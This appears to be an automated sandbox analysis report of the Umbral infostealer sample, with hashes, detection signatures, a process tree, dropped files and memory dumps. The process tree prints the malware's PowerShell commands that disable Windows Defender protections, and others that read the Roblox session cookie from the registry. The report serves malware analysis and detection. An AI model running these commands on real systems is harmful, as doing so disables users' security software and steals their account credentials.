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Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/01/2025, 13:57

General

  • Target

    Umbral.exe

  • Size

    229KB

  • MD5

    30ccfee6c8e2ebc782110e8aa1a4c8ba

  • SHA1

    392871b1e3628da65161b2dfd40da407939071ae

  • SHA256

    e22e92f946d1914fe0557fdbd725c8199651f571e9b160ad2f59571a308147b0

  • SHA512

    8cec6d2f9b5f60006adefb820225c56add9da2b50f2f3de58481ebbcbed9a859b30a4e9dcba57112f142fc63e24652ed962146c564635c88af12d0a998c390bd

  • SSDEEP

    6144:9loZMLrIkd8g+EtXHkv/iD4CkUeRa43TwxJc6rrSHfb8e1m4Ki:foZ0L+EP8CheRa43TwxJc6rrSbp

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4856
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3068
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2016
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4956
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4420

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        9de528cab23a687528d40e7d4863427e

        SHA1

        27fb00ac7872fad0c1dba1c1071c946c4be60821

        SHA256

        84143fc034cadb25a535116a01da7243968a3e9c9b7bc5cde577f7b84d9c2365

        SHA512

        2fb29b6915338189833c665abd8128899178b448b106bba6859ec2abea176c06aa469d911f09f5fc8b5e36755471a1a970206ef8e12deaeeaa164fe9df4d3f1c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        276798eeb29a49dc6e199768bc9c2e71

        SHA1

        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

        SHA256

        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

        SHA512

        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        ec79fae4e7c09310ebf4f2d85a33a638

        SHA1

        f2bdd995b12e65e7ed437d228f22223b59e76efb

        SHA256

        e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

        SHA512

        af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vo1guiv1.ddv.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1388-3-0x00007FFB42CD0000-0x00007FFB43791000-memory.dmp

        Filesize

        10.8MB

      • memory/1388-4-0x00007FFB42CD0000-0x00007FFB43791000-memory.dmp

        Filesize

        10.8MB

      • memory/1388-5-0x0000020DFC3C0000-0x0000020DFC3E2000-memory.dmp

        Filesize

        136KB

      • memory/1388-17-0x00007FFB42CD0000-0x00007FFB43791000-memory.dmp

        Filesize

        10.8MB

      • memory/4660-32-0x000001BE63870000-0x000001BE638E6000-memory.dmp

        Filesize

        472KB

      • memory/4660-33-0x000001BE638F0000-0x000001BE63940000-memory.dmp

        Filesize

        320KB

      • memory/4660-34-0x000001BE4AD80000-0x000001BE4AD9E000-memory.dmp

        Filesize

        120KB

      • memory/4660-0-0x00007FFB42CD3000-0x00007FFB42CD5000-memory.dmp

        Filesize

        8KB

      • memory/4660-2-0x00007FFB42CD0000-0x00007FFB43791000-memory.dmp

        Filesize

        10.8MB

      • memory/4660-71-0x000001BE4ADA0000-0x000001BE4ADAA000-memory.dmp

        Filesize

        40KB

      • memory/4660-72-0x000001BE635B0000-0x000001BE635C2000-memory.dmp

        Filesize

        72KB

      • memory/4660-1-0x000001BE48FD0000-0x000001BE49010000-memory.dmp

        Filesize

        256KB

      • memory/4660-88-0x00007FFB42CD3000-0x00007FFB42CD5000-memory.dmp

        Filesize

        8KB

      • memory/4660-93-0x000001BE63480000-0x000001BE63582000-memory.dmp

        Filesize

        1.0MB

      • memory/4660-94-0x00007FFB42CD0000-0x00007FFB43791000-memory.dmp

        Filesize

        10.8MB